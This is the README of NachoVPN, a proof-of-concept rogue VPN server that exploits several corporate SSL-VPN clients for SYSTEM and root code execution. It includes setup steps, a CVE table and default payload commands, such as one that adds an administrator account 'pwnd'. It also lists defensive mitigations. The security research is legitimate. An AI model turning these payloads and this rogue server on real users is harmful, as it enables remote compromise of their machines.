NachoVPN is a Proof of Concept that demonstrates exploitation of SSL-VPN clients, using a rogue VPN server.
It uses a plugin-based architecture so that support for additional SSL-VPN products can be contributed by the community. It currently supports various popular corporate VPN products, such as Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, and Ivanti Connect Secure.
For further details, see our blog post, and HackFest Hollywood 2024 presentation [slides|video].
- Python 3.9 or later
- Docker (optional)
- osslsigncode (Linux only)
- msitools (Linux only)
- python3-netfilter (Linux only)
- git
NachoVPN is built and tested on Ubuntu 22.04.
-
Install
python3-nftablesandnftables -
Optionally use
setcapto avoidsudorequirement:sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10 -
Enable IP forwarding:
sudo sysctl -w net.ipv4.ip_forward=1
NachoVPN can be installed from GitHub using pip. Note that this requires git to be installed.
First, create a virtual environment.
On Linux, ensure that the virtual env has access to the system site-packages, so that nftables works:
python3 -m venv env --system-site-packages
source env/bin/activateOn Windows, nftables (and thus packet forwarding) is disabled, so use:
python -m venv env
.\env\Scripts\activateThen, install NachoVPN:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.gitIf you prefer to use Docker, then you can pull the container from the GitHub Container Registry:
docker pull ghcr.io/AmberWolfCyber/nachovpn:releaseFirst, clone this repository, and install setuptools and wheel via pip. You can then run the setup.py script:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheelThis will generate a wheel file in the dist directory, which can be installed with pip:
pip install dist/nachovpn-1.0.0-py3-none-any.whlAlternatively, for local development you can install the package in editable mode using:
pip install -e .You can build the container image with the following command:
docker build -t nachovpn:latest .To run the server as standalone, use:
python -m nachovpn.server
Alternatively, you can run the server using Docker:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpnThis will generate a certificate for the SERVER_FQDN using certbot, and save it to the certs directory, which we've mounted into the container.
Alternatively, for testing purposes, you can skip the certificate generation by setting the SKIP_CERTBOT environment variable.
This will generate a self-signed certificate instead.
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpnAn example docker-compose file is also provided for convenience.
You can run nachovpn with the -d or --debug command line arguments in order to increase the verbosity of logging, which can aid in debugging.
Alternatively, if the logging is too noisy, you can use the q or --quiet command line argument instead.
NachoVPN supports the following plugins and capabilities:
| Plugin | Product | CVE | Windows RCE | macOS RCE | Privileged | URI Handler | Packet Capture | Demo |
|---|---|---|---|---|---|---|---|---|
| Cisco | Cisco AnyConnect | N/A | โ | โ | โ | โ | โ | Windows / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | โ | โ | โ | โ | โ | Windows |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (partial fix) | โ | โ | โ | โ | โ | Windows / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241 (bypassed) | โ | โ | โ | โ (Windows only - disabled by default in 22.8R1) | โ | Windows |
| Netskope | Netskope | CVE-2025-0309 | โ | โ | โ | โ | โ | Windows |
- The Ivanti Connect Secure (Pulse Secure) URI handler can be triggered by visiting the
/pulseURL on the NachoVPN server. - The SonicWall NetExtender URI handler can be triggered by visiting the
/sonicwallURL on the NachoVPN server. This requires that the SonicWall Connect Agent is installed on the client machine.
- It is recommended to use a TLS certificate that is signed by a trusted Certificate Authority. The docker container automates this process for you, using certbot. If you do not use a trusted certificate, then NachoVPN will generate a self-signed certificate instead, which in most cases will either cause the client to prompt with a certificate warning, or it will refuse to connect unless you modify the client settings to accept self-signed certificates. For the Palo Alto GlobalProtect plugin, this will also cause the MSI installer to fail.
- In order to simulate a valid codesigning certificate for the SonicWall plugin, NachoVPN will sign the
NACAgent.exepayload with a self-signed certificate. For testing purposes, you can download and install this CA certificate from/sonicwall/ca.crtbefore triggering the exploit. For production use-cases, you will need to obtain a valid codesigning certificate from a public CA, sign yourNACAgent.exepayload, and place it in thepayloadsdirectory (or volume mount it into/app/payloads, if using docker). - For convenience, a default
NACAgent.exepayload is generated for the SonicWall plugin, and written to thepayloadsdirectory. This simply spawns a newcmd.exeprocess on the current user's desktop, running asSYSTEM. - The Palo Alto GlobalProtect plugin requires that the MSI installers and
msi_version.txtfile are present in thedownloadsdirectory. Either add these manually, or run themsi_downloader.pyscript to download them. - To perform the Palo Alto GlobalProtect downgrade attack, ensure that the
GlobalProtect.msi.oldandGlobalProtect64.msi.oldare present in thedownloadsfolder. These files should contain the unmodified MSI installers for a version prior to 6.2.6 (e.g. 6.2.5).
To disable a plugin, add it to the DISABLED_PLUGINS environment variable. For example:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPluginNachoVPN is configured using environment variables. This makes it easily compatible with containerised deployments.
Global environment variables:
| Variable | Description | Default |
|---|---|---|
SERVER_FQDN |
The fully qualified domain name of the server. | connect.nachovpn.local |
EXTERNAL_IP |
The external IP address of the server. | 127.0.0.1 |
WRITE_PCAP |
Whether to write captured PCAP files to disk. | false |
DISABLED_PLUGINS |
A comma-separated list of plugins to disable. | |
USE_DYNAMIC_SERVER_THUMBPRINT |
Whether to calculate the server certificate thumbprint dynamically from the server (useful if behind a proxy). | false |
SERVER_SHA1_THUMBPRINT |
Allows overriding the calculated SHA1 thumbprint for the server certificate. | |
SERVER_MD5_THUMBPRINT |
Allows overriding the calculated MD5 thumbprint for the server certificate. | |
SMB_ENABLED |
Enables the SMB share, available via the tunnel at \\10.10.0.1\<SMB_SHARE_NAME> |
false |
SMB_SHARE_NAME |
The name to use for the SMB share | SHARE |
SMB_SHARE_PATH |
The path to the directory to use for the SMB share | smb |
TUNNEL_PRIVATE |
When set to true, enables tunneling but disables internet forwarding for VPN clients. Clients can only access the SMB share. |
false |
TUNNEL_FULL |
When set to true, enables full tunneling and allows VPN clients to access the internet. Also implies TUNNEL_PRIVATE=true. |
false |
Plugin specific environment variables:
| Variable | Description | Default |
|---|---|---|
VPN_NAME |
The name of the VPN profile, which is presented to the client for Cisco AnyConnect. | NachoVPN |
PULSE_LOGON_SCRIPT |
The path to the Pulse Secure logon script. | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS |
The path to the Pulse Secure logon script for macOS. | |
PULSE_DNS_SUFFIX |
The DNS suffix to be used for Pulse Secure connections. | nachovpn.local |
PULSE_USERNAME |
The username to be pre-filled in the Pulse Secure logon dialog. | |
PULSE_SAVE_CONNECTION |
Whether to save the Pulse Secure connection in the user's client. | false |
PULSE_ANONYMOUS_AUTH |
Whether to use anonymous authentication for Pulse Secure connections. If set to true, the user will not be prompted for a username or password. |
false |
PULSE_HOST_CHECKER_RULES_FILE |
A JSON file containing a list of registry-based host-checker rules for ICS. See example in src/nachovpn/plugins/pulse/test/example_rules.json |
|
PALO_ALTO_MSI_ADD_FILE |
The path to a file to be added to the Palo Alto installer MSI. | |
PALO_ALTO_MSI_COMMAND |
The command to be executed by the Palo Alto installer MSI. | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH |
Whether to force the patching of the MSI installer if it already exists in the payloads directory. | false |
PALO_ALTO_PKG_COMMAND |
The command to be executed by the Palo Alto installer PKG on macOS. | touch /tmp/pwnd |
CISCO_COMMAND_WIN |
The command to be executed by the Cisco AnyConnect OnConnect.vbs script on Windows. | calc.exe |
CISCO_COMMAND_MACOS |
The command to be executed by the Cisco AnyConnect OnConnect.sh script on macOS. | touch /tmp/pwnd |
We recommend the following mitigations:
- Ensure SSL-VPN clients are updated to the latest version available from the vendor.
- Most VPN clients support the concept of locking down the VPN profile to a specific endpoint, or using an always-on VPN mode. This should be enabled where possible.
- Unfortunately, in some cases this lockdown can be removed by a malicious local user, therefore it is also recommended to use host-based firewall rules to restrict the IP addresses that the VPN client can communicate with.
- Consider using an Application Control policy, such as WDAC, or an EDR solution to ensure that only approved executables and scripts can be executed by the VPN client.
- Detect and alert on VPN clients executing non-standard child processes.
- AmberWolf Blog: NachoVPN
- HackFest Hollywood 2024: Very Pwnable Networks: Exploiting the Top Corporate VPN Clients for Remote Root and SYSTEM Shells, Rich Warren & David Cash [video]
- BlackHat 2008: Leveraging the Edge: Abusing SSL VPNs, Mike Zusman
- BlackHat 2019: Infiltrating Corporate Intranet Like NSA, Orange Tsai & Meh Chang
- NCC Group: Making New Connections: Leveraging Cisco AnyConnect Client to Drop and Run Payloads, David Cash & Julian Storr
- The OpenConnect Project
We welcome contributions! Please open an issue or raise a Pull Request.
If you're interested in developing a new plugin, you can take a look at the ExamplePlugin to get started.
NachoVPN is licensed under the MIT license. See the LICENSE file for details.
